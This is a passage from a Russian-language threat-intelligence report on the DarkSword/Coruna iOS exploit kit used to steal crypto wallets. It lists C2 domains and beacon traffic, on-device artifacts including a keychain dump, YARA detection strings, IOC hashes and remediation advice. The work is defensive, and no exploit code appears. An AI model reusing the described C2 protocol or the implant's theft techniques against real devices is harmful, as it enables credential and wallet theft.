- Скрытые iframe на */analystic/assets/js/group.html и в целом на group.html в неожиданном статическом каталоге; скрипты с именами из шестнадцати шестнадцатеричных символов, загружаемые из этого каталога; приведённый выше инлайновый скрипт (искать в шаблонах страниц createElement('iframe') вместе с group.html).
- POST hxxps://btrf36[.]cc/hx с телом {"k":1,"n":"<hostname>"} с устройств iOS — beacon носителя срабатывает до любого эксплойта на любом устройстве iOS, обновлённом или нет, — он отмечает посещение, а не компрометацию, — так что это самый широкий сетевой индикатор.
- Трафик импланта как в октябре: HTTP/1.0 POST на /beacon, /x, /a, /u, /p, /qq, /result и /heartbeat на недавно зарегистрированном домене .cc, multipart-граница ------HqBound, user agent «iPhone OS 18_5», заголовки X-Ts и X-Inner-Content-Type.
- Трафик менеджера нагрузок: GET /api/v1/cpm/config.bin с заголовком X-Client-Id: 7f3a9c2b8e1d4f6a0b5c7e9d2f4a6b8c, user agent «iPhone OS 15_0» и «Connection: close» к хосту на порту 443 без проверки сертификата; последующие загрузки модулей .bin с того же хоста.
- Нативный загрузчик ветки Coruna: HTTP-запросы с user agent «MobileStore/1.0» и JSON-телами {"e":…,"l":…}.

9.2. На устройстве

В iOS каталог /tmp — это /private/var/tmp; пути приведены так, как их пишет код.

Артефакт	Кто пишет	Значение
/tmp/cpm27stor/<64 hex>.bin	CorePayloadManager	Скачанные модули, названные по SHA-256 имени модуля
/tmp/com.apple.analyticsd.lock	CorePayloadManager	Блокировка единственного экземпляра; ни один компонент Apple этот путь не использует
/tmp/.launchd_db_stop, _reload, _purge; /tmp/.com.apple.nsurlsessiond.cache	Оператор / CorePayloadManager	Файлы-команды и точка «горячей» подмены (удаляются после использования)
/tmp/com.apple.nsurlsessiond/fsCachedData<16 hex>	CorePayloadManager	Кэш шифрованной конфигурации
/tmp/pe_worker_trace.log, /tmp/p7_debug.log, /tmp/c2_wallet_debug.log, /tmp/pe_wallet_hit_bundles.json, /tmp/keychain_c2_dump.json (.tmp, .done, .wallet)	PE-бандл / имплант	Журналы хода работы, маркер попадания по кошельку, расшифрованный keychain
/private/var/mobile/Media/PostLogs.txt	PE-бандл	Вывод логгера
Образ с именем /usr/lib/system/libsystem_featureflags.dylib, загруженный в	CorePayloadManager	Настоящая библиотека загружается каждым процессом из разделяемого

locationd или powerd с ad-hoc-подписью; поток с именем com.apple.cfnetwork.dispatch в locationd		кэша; отдельно отображённая в память копия с таким именем — менеджер нагрузок
Отсутствующие или свежеудалённые логи CrashReporter для locationd, powerd, wifid	CorePayloadManager	Антифорензическая чистка
Браузер: localStorage _x_done, _x_ok; sessionStorage _x_nav	group.html / загрузчик	Замки, оставшиеся на устройстве, посещавшем носитель

9.3. YARA

Наше октябрьское правило P7_DarkSword_C2Agent_Strings срабатывает на новом PE-бандле без изменений. Для новых компонентов надёжны следующие наборы строк; чувствительные строки менеджера нагрузок XOR-кодированы, поэтому правило опирается на то, что автор оставил открытым текстом: идентификатор подписи, ключи конфигурации, пути хранилища и кэша и диагностику внедрения.

- DarkCoruna_Analystic_PE (PE-бандл): "20260914-aks40", "pack_frontend", "KokCore", "photo_probe", "wallet_hit", "pe_wallet_hit_bundles", "PE_HQ_BASE", "------HqBound", "keychain_c2_dump" — любые четыре.
- DarkCoruna_CorePayloadManager (Mach-O): "CorePayloadManager-55554944", "cpm27stor", "netconfig_cache_seed_v7", "fsCachedData", "inject-fn-raw", "inject-jit-switch-sig", "inject-CRASHED-at", "configRefreshInterval", "minPingIntervalPerDomain", "validationCacheTTL", "requiresColdStart", "doNotCloseAfterRun" — файл Mach-O и любые четыре.
- DarkCoruna_NativeLoader_x01 (Mach-O): "MobileStore/1.0", "/usr/libexec/corelliumd", "expand 32-byte k", форматная строка {"e":%u,"l":%u}, "logmsg" — файл Mach-O и любые три.
- DarkCoruna_Analystic_Web (HTML/JS): "analystic/assets/js", "_x_done", "_x_nav", "_x_ok", "rce_ok" (сообщение воркера об успехе), "49554fde7424c31c", "b8def7dab9dd9ad8", "a8c3f01e6b47d295", "cecd08aa6ff548c2" — любые две.

10. Индикаторы компрометации

Индикаторы оригинальны для этого отчёта, если не указано иное. Взломанные сайты не перечислены. Домены-приманки, по нашей оценке, контролируются оператором (зарегистрированы между декабрём 2025 и октябрём 2026, большинство — за дни или недели до первого скана; кит в корне сайта; истории нет) — даты регистрации мы проверили пассивно, а несколько более старых доменов, которые не удалось классифицировать, исключили; перед блокировкой — проверить. Полный набор наблюдавшихся хостов-приманок — в машиночитаемых дампах, сопровождающих отчёт.

10.1. Командный сервер и хосты кита

Индикатор	Роль	Примечания
btrf36[.]cc	C2 импланта, beacon и менеджера нагрузок	Зарегистрирован 25.09.2026 через Gname.com, без Cloudflare, выделенный адрес Alibaba Cloud HK; зашит в PE-бандл (сборка 14.09.2026) и в оба бинарника CorePayloadManager; эндпоинты /hx, /beacon, /result, /heartbeat, /x, /a, /u, /p, /qq, /api/v1/cpm/config.bin
47.76.30[.]227	IP-адрес btrf36[.]cc (C2)	Alibaba Cloud Гонконг; других имён хостов на нём не наблюдалось
i0s[.]io	Центральный хост кита (/web/)	Раздаёт загрузчик Coruna приманкам, октябрь 2026
tudou001.usdtio[.]cc, fh001.usdtio[.]cc	Центральные хосты кита	Загрузчик для ферм bgp*.icu / *.sbs и других приманок
gewc61[.]cc	Хост кита (/assets/js/)	Для фермы двойников 7-Zip / HaoZip в .com.cn
092ak[.]top	Хост кита (/mgu/)	Приманки «VELNORA» 744513[.]com, 481561[.]com, 945321[.]com
*.pifilubihu[.]shop	Хост кита, случайные поддомены	Приманки на edcchen[.]online, web3kkyulec[.]world, rollbit[.]rest, rootdata[.]cam, zhishi9[.]xyz
chainvex[.]cam	Хост кита	Встраивается страницами-приманками Google Sites, 14 октября
afazxcr[.]xyz, yc.d-j[.]cc, ja.a-	Хосты кита	Август – октябрь 2026

j[.]cc, xinyea[.]cc, chunfe[.]cc, t.yookme[.]cc, bb.ttyyk[.]shop, www.7-11[.]help		
38.190.222[.]108	Хост кита на IP-адресе без доменного имени (/goolI/)	SonderCloud HK, 14 – 19 октября
ios.hdios[.]cn	Хост кита (/goolI/)	Раздавал загрузчик 22 сентября; хост серверного кластера DarkSword, описанного Censys
mining-game[.]online	Хост полной цепочки	Hostinger; sbx1 и PE-бандл захвачены 13 – 16 сентября
www.tavonexia[.]com	Приманка, хостящая полную цепочку	Cloudflare; прямой воркер захвачен 20 октября
mobile.mumuheliio[.]com	Раздаёт эксплойт под другим именем	Zenixcloud, 20 октября

10.2. Фермы и домены приманок (выборка)

Индикатор	Тема	Замечен
bgp09[.]icu, bgp34[.]sbs, bgp36[.]sbs, bgp51[.]sbs, bgp63[.]sbs (случайные поддомены)	«Account Security Compliance Check»	Сентябрь – 20 октября 2026
buytrx-ins[.]com (≈50 поддоменов, кит в /css/good/)	«InsPay»	Сентябрь – октябрь 2026
7zip-download[.]com[.]cn, 7zip-soft[.]com[.]cn, haozip-hub[.]com[.]cn, danzipaiduiguanfu[.]com[.]cn и ещё 25 имён в .com.cn / .hl.cn	Китайские SEO-двойники 7-Zip / HaoZip / Danzipaidui	Партии 8 сентября и 1 октября
walletsecurity[.]dev, walletsecuritypro[.]cam, coingateai[.]com, trx-exchange[.]com (bnb., m.bnb., miley.bnb.), kucoiins[.]cam, coinbase.ruhzy[.]top, bitget[.]ac, rollbit[.]rest, rootdata[.]cam, imepki[.]com, soj.s4kyn[.]com	Двойники крипто-сервисов и бирж (зарегистрированы в августе – октябре 2026)	Сентябрь – октябрь 2026
sitmarx[.]site, jgbez.sitmarx[.]site, mbhhrx.sitmarks[.]xyz,	Знакомства, «исследования аирдропов», взрослый контент	Октябрь 2026

xgqosq.geblic[.]xyz, fdsdgrixj.uk[.]cc, sexgirltiktok[.]cam		
cwmk.eu[.]cc, mjoh.eu[.]cc, zt171.eu[.]cc, energyleasing88[.]com, yuce.xbsti[.]com, aiagentmi[.]com, domaincheckpro[.]com, operator[.]beauty, gentle[.]best, zhishi9[.]xyz, w2jb75ffpa80bqtkc[.]cfd, 2rxwujr64qoci6agbp9x[.]cfd	Разные магазины, «рынок предсказаний», инструменты и случайные приманки	Сентябрь – октябрь 2026
yago365[.]online, pghwhakg[.]lol, trxtron[.]live, aproject.ym301[.]vip, baron777net[.]com, oadvment[.]cc, coinbasewallecn[.]com, coincheck-account-help[.]com, parkpeark[.]xyz, www.fcccccc[.]com	Азартные игры, аренда TRX, магазины приложений и биржи — приманки ветки Coruna	Август – октябрь 2026
sites.google[.]com/guge.j8b5[.]com/…	Приманка Google Sites, встраивающая chainvex[.]cam	Злоупотребление сервисом — сообщать, сервис не блокировать

10.3. Файлы (SHA-256)

Файл	SHA-256	Роль
group.html	b4290d69fbb099f72f0b7ebc5fdb1211db0810f79372b871229746027d23f52c	Диспетчер (1 551 Б); 2af55f5c… с CRLF; f380ddae… вариант 355 байт на buytrx-ins
a8c3f01e6b47d295.js	d70f5b8ec6359ad5c22acb628a7c7ec81c8d549869afa7f96a377e52879a6642	Beacon носителя на btrf36[.]cc/hx; варианты 19380347…, 77000edb…
49554fde7424c31c.js	e9b106745a31d7ad4095dd87cf8f915cf600f929b6930b9ff3534826c649f803	Загрузчик Coruna (iOS < 18); b7222f77… с BOM (с провода); варианты ed81fbcc…, 51aa693c…, 3f73476b…
b8def7dab9dd9ad8.js	2e443833dd58278d094acda2067a43cae1e88cbdf3902d7515776	Загрузчик DarkSword (iOS 18); d86a6913… с CRLF; вариант

	ab42f41b7e8	f47f493f…
e1105852cab6ef49.js	5856c2c59ffcbe6b82f49ec94517463dc764cfe43333a7313c49a11c1c7934de	Прямой воркер, iOS 18.1.1 / 18.6 – 18.6.2
455b474ef0843d25.js	37efaa4237a28a4be411d40de80b2935be5b8c4e6731ee1f858c609142a87445	Заглушка
8150b44e89f06890.js	df86db89f7f965fc117d4c14b722d3d02f1d1de5c6ec216bb59fcf2736374caa	Воркер примитивов, остальные iOS 18.x
a13e3e4525e28ff8.js	3196034ef1196c91513958590196 74e14e3c06e3fdbf230c7e0d0c5f6211824a	Эксплойт JavaScriptCore
717d3ef037488de5.js	9c7f86f2b82df171a09f096afcd8fa5b6b24f0b643aae765ad17ecf80dadb196	sbx0
e698499e769d1643.js	6db7114ed9e8a89a75d11930d348ebd6c3bd52572238191c3116b100e8963a98	sbx1
e0e65d55905b9342.js	da3fe94ac1ffe0ae01adfab6d5e6cd58933e93853c4b6e664f76ca468981bb02	PE-бандл, сборка 20260914-aks40
child_667fa543.dylib	b0a7077b5d5baa1fb2d31115fbf226bac47f54c9aa499de343385cab6712f79c	CorePayloadManager arm64; UUID 757DCA29-79FD-3E5F-BF35-CB378C4E9357
child_a159973e.dylib	a436ac961ce25a0072fbafb8c1937a94b8c900e3ac512a5aa32ecf4610f2260e	CorePayloadManager arm64e; UUID CB6987E5-F247-3FBB-A3A4-6788A7D01AB3
99d0_decompressed_start256.bin	6d522977b4f5473050ae9f493cc34e837110fd5b06c236517c317d15623ba86c	Нативный загрузчик «x01» ветки Coruna; UUID 41D39E20-04A3-35F4-AC13-F6B200260386
Четырнадцать remote-стадий Coruna (имена файлов — SHA-1)	7b843666…, 675a40df…, 329ae140…, b0b29b61…, 473f182b…, 080da430…, eaab0874…, 2cfa14b2…, 2c4a5a49…, ebcc76dc…, 5c0ebd86…, feb9442c…,	Полные хеши — в IOC-дампах

	de1a07d8…, 593548d7…	

10.4. Строки и пути

Значение	Смысл
20260914-aks40	PE_BUILD бандла импланта
pack_frontend replaces btrf36.cc -> data_host	Комментарий упаковщика: C2 впечатывается при сборке
X-Client-Id: 7f3a9c2b8e1d4f6a0b5c7e9d2f4a6b8c	Фиксированный заголовок менеджера нагрузок
abf3bdc8e239c0f3183c257f9ccc23e8	Зашитый ключевой материал для config.bin (16 байт, разворачивается библиотекой)
/api/v1/cpm/config.bin	Путь конфигурации менеджера нагрузок
Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)	User agent менеджера нагрузок
MobileStore/1.0	User agent нативного загрузчика Coruna
/tmp/cpm27stor, netconfig_cache_seed_v7, /tmp/com.apple.analyticsd.lock, /tmp/.launchd_db_stop|reload|purge, /tmp/.com.apple.nsurlsessiond.cache	Артефакты менеджера нагрузок
CorePayloadManager-55554944	Префикс идентификатора подписи кода
/usr/lib/system/libsystem_featureflags.dylib	Имя установки, под которым маскируется менеджер нагрузок
/System/Library/CoreServices/powerd.bundle/powerdlocationd	Имя подброшенного файла внутри менеджера нагрузок (такого бинарника Apple нет)
/Users/…/Project/iOSC2/native-src/CorePayloadManager/	Путь сборки разработчика в бинарнике arm64e
KokCore, photo_probe, wallet_hit, pe_wallet_hit_bundles	Процедуры и маркеры импланта
analystic/assets/js, _x_done, _x_nav, _x_ok	Путь развёртывания и браузерные замки
{"k":1,"n":"	Тело beacon носителя
cecd08aa6ff548c2	Соль загрузчика Coruna (не меняется с июля)

11. Рекомендации

- Пользователям: обновиться до iOS 18.7.3 или iOS 26.3 и новее. Устройство на этих версиях кит не трогает. Устройства на iOS 18.1.1 и 18.4 – 18.6.2, а также на iOS 15.2 – 17.2.1 эксплуатируются одним посещением страницы; версии 18.0 – 18.3 и 17.3 – 17.7 просто отсутствуют в таблицах оффсетов этого кита, что не означает безопасности. Для пользователей с высоким риском — включить Lockdown Mode.
- Пользователям криптокошельков на iPhone: если устройство на уязвимой версии посещало криптовалютный или биржевой сайт, сайт знакомств или азартных игр из тех, что перечислены в разделе 10.2, — или обычный сайт, поскольку кит подброшен и на взломанные магазины и посетителю невидим, — считать seed-фразы и keystore в приложениях из раздела 5.2 находящимися под угрозой: перевести средства с чистого устройства и сменить пароли бирж и API-ключи, хранящиеся в keychain. Фотографии seed-фраз тоже собираются. Перезагрузить устройство: ни имплант, ни менеджер нагрузок перезагрузку не переживают (если нужна криминалистика — сначала снять образ файловой системы).
- Владельцам сайтов и хостерам: искать каталог с именем analystic (или любой каталог с group.html и .js-файлами с именами из шестнадцати шестнадцатеричных символов) в /js/, /img/, /wp-includes/js/ или в каталогах модулей CMS и фрагмент с iframe из раздела 7.2 в шаблонах, файлах темы и HTML-блоках, хранящихся в базе. Удалить то и другое недостаточно: у злоумышленника был доступ на запись, поэтому сменить пароли CMS, FTP, панели и базы данных и искать веб-шеллы и неизвестные учётные записи администраторов.
- Защитникам: блокировать btrf36[.]cc и хосты кита из раздела 10.1; настроить оповещения на POST beacon (/hx) и на запрос менеджера нагрузок (заголовок X-Client-Id, /api/v1/cpm/config.bin); на управляемых устройствах искать артефакты в /tmp и образ с ad-hoc-подписью и именем libsystem_featureflags.dylib в locationd или powerd. Файловые артефакты требуют снятия образа файловой системы до следующей перезагрузки; sysdiagnose покажет загруженные образы, имена потоков и состояние каталогов CrashReporter.
- Вендорам MDM и EDR: ad-hoc-подписанный образ с именем установки /usr/lib/system/libsystem_featureflags.dylib, не являющийся копией из разделяемого кэша, поток с именем com.apple.cfnetwork.dispatch внутри locationd и заголовок запроса X-Client-Id достаточно специфичны, чтобы обнаруживать этот компонент без хеша.
- Аналитикам: считать списки хешей для этого семейства короткоживущими — кит пересобирается под носитель, имена файлов свои у каждого развёртывания, — но учитывать, что соль, замки, тело beacon, протокол HTTP/1.0 и теперь заголовок менеджера нагрузок пережили все сборки с июля.

12. Источники

- FDC Threat Intelligence, «DarkSword P7: утёкшая iOS-эксплойт-цепочка на службе кражи криптокошельков», 10 октября 2026 (github.com/freedatacenter/threat-intelligence)
- Образцы MalwareBazaar (abuse.ch): da3fe94a… (PE-бандл), 5856c2c5… (прямой воркер), b0a7077b… и a436ac96… (CorePayloadManager), 6d522977… (нативный загрузчик)
- vxunderground, публикация от 19 октября 2026
- Сканы urlscan.io 01a0ac71-4983-71df-8025-5e654447e166 (полная цепочка, сентябрь), 01a1585b-3f96-7663-930d-5f2a5ed73585 (прямой воркер, 20 октября), 01a155fc-de5d-71ca-ab82-cc35243d834d (btrf36[.]cc, 19 октября), 01a1553c-7fb2-749f-8eb8-2901ba3c44c5 (ферма bgp09[.]icu), 01a15324-2419-727b-b6a5-e9e383723ee1 (buytrx-ins[.]com), 01a152dd-0d50-7203-933b-9da20cb4674a (i0s[.]io), 01a1397e-8863-7019-badc-69168509147e (приманка Google Sites)
- iVerify, «Sleep, Beacon, Steal, Repeat: P7 DarkSword Variant», 8 октября 2026 (iverify.com/blog/darksword-variant-threat-research); «Proliferation of Coruna and DarkSword», 15 сентября 2026 (iverify.com/blog/proliferation-of-coruna-and-darksword)
- Google Threat Intelligence Group, «The Proliferation of DarkSword», 18 марта 2026 (cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain)
- Censys ARC, «DarkSword/Coruna Open Directory Finding Report», 7 октября 2026, и «DarkSword’s Panel Sprawl», 31 июля 2026
- Утёкший исходный код Coruna, находящийся в открытом доступе с 2026 года — происхождение ветки iOS 13 – 17

TLP:CLEAR — Этот документ может распространяться без ограничений.